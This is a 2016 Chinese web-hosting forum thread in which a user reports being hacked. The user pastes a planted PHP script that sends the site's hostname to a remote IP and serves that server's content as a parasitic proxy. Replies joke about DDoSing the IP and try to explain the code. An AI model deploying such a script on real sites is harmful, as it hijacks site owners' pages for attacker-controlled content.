全球主机交流论坛

标题: 被黑了 [打印本页]

作者: Help    时间: 2016-8-9 11:19
标题: 被黑了
<?php
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
$Remote_server = "http://180.97.221.69:1213/";
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);

function getHTTPPage($url) {
        $opts = array(
          'http'=>array(
                'method'=>"GET",
                'header'=>"User-Agent: aQ0O010O"
          )
        );
        $context = stream_context_create($opts);
        $html = @file_get_contents($url, false, $context);
        if (empty($html)) {
                exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>");
        }       
        return $html;
}

echo $Content_mb;
?>
作者: the2ndface    时间: 2016-8-9 11:20
喜大普奔,虽然我看不懂
作者: darksheen    时间: 2016-8-9 11:22
有IP,MJJ们快上
作者: poropro    时间: 2016-8-9 11:34
180.97.221.69  已送IP
作者: nickliu    时间: 2016-8-9 11:43
看到IP咯。。楼主你要注意了
作者: 雨宫音羽    时间: 2016-8-9 11:45
那个IP打死了才好。。不过搞不好也是另一个受害者的IP

总之这个代码的意思是反代那个IP的内容
作者: 柳逸寒    时间: 2016-8-9 11:59
ddcc大队又该出手了
作者: zhou0911    时间: 2016-8-9 12:26
该出手时就出手,全球ddcc
作者: ihsky    时间: 2016-8-9 12:28
寄生虫
作者: 今晚我是你的    时间: 2016-8-9 12:47
这个安全狗能查到吗
作者: the2ndface    时间: 2016-8-9 13:28
刚才研究了一下,求大神指点:
  1. Aserver=http://180.97.221.69:1213/
  2. Bserver=楼主的机子
  3. 首先拼接URL=A/index.php?host=B/当前页面

  4. 然后函数内容:读取url里的内容到$html并返回
  5. 最后,输出读取的内容~
复制代码


这里读取的内容URL中是到底是Aserver的内容还是楼主的当前内容呢




欢迎光临 全球主机交流论坛 (https://lilynana.eu.org/) Powered by Discuz! X3.4